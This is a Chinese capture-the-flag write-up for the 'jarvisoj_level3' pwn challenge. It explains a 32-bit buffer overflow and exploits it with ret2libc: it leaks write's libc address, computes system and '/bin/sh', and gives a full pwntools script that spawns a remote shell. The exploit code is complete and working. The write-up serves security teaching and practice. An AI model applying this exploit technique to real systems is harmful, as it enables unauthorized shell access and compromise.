jarvisoj_level3

附件

步骤

  1. 例行检查,32位,nx保护
  2. 运行一下程序
  3. 32位ida载入,shift+f12没有看到程序里有可以直接利用的后面函数,根据运行时的字符串找到了程序的关键函数

    参数buf明显的溢出漏洞,使用ret2libc的办法去获取shell

利用过程:
0x1 利用wire函数泄露libc版本

write_plt=elf.plt['write']
write_got=elf.got['write'] payload='a'*(0x88+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4) r.recvuntil('Input:\n')
r.sendline(payload)
write_addr=u32(r.recv(4))

0x2 计算libc基址,算出system和bin/sh在程序里的地址

libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system=libc_base+libc.dump('system')
sh=libc_base+libc.dump('str_bin_sh')

0x3 构造rop,执行system(‘/bin/sh’)

payload='a'*(0x88+4)+p32(system)+p32(main)+p32(sh)
r.recvuntil('Input:\n')
r.sendline(payload)

完整exp

from pwn import *
from LibcSearcher import * r=remote('node3.buuoj.cn',28888)
elf=ELF('./level3') main=0x804844B
write_plt=elf.plt['write']
write_got=elf.got['write'] payload='a'*(0x88+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4) r.recvuntil('Input:\n')
r.sendline(payload)
write_addr=u32(r.recv(4)) libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system=libc_base+libc.dump('system')
sh=libc_base+libc.dump('str_bin_sh') payload='a'*(0x88+4)+p32(system)+p32(main)+p32(sh)
r.recvuntil('Input:\n')
r.sendline(payload) r.interactive()

最新文章

  1. WebGL入门教程(一)-初识webgl
  2. 39个让你受益的HTML5教程
  3. Logging with Log4net (二)
  4. iframe 动态onload事件处理方式
  5. 在windows上搭建ftp服务
  6. 几个地图(高德、百度、Apple、Google)URL API(转)
  7. Oracle外部表的使用
  8. 1346 - Songs (贪心)
  9. 原创:2016.4.25-2016.5.1 C# informal essay and tittle_tattle
  10. C#特性和反射
  11. TortoiseGit for windows安装与配置
  12. [转]Native Java Bytecode Debugging without Source Code
  13. 寻找两个已序数组中的第k大元素
  14. Echarts数据可视化series-map地图,开发全解+完美注释
  15. Oracle积累
  16. 小程序上拉下拉共存时不可使用scroll-view的解决方法
  17. Win10 安装 VMWare中 MAC OS X的安装,VMWare tools的配置与iOS的Helloworld
  18. [Swift]LeetCode45. 跳跃游戏 II | Jump Game II
  19. centos7.2 环境下 mysql-5.1.73 安装配置
  20. Linux防火墙iptables的基础

热门文章

  1. MySQL语法练习一
  2. rm命令弱爆了!
  3. vcstool是什么?
  4. CF1511E Colorings and Dominoes
  5. Python使用print打印时,展示内容不换行
  6. R语言矩阵相关性计算及其可视化?
  7. Matlab矢量图图例函数quiverkey
  8. php-fpm一个PHPFastCGI进程管理器
  9. linux sort 命令详解(转载)
  10. A Child's History of England.8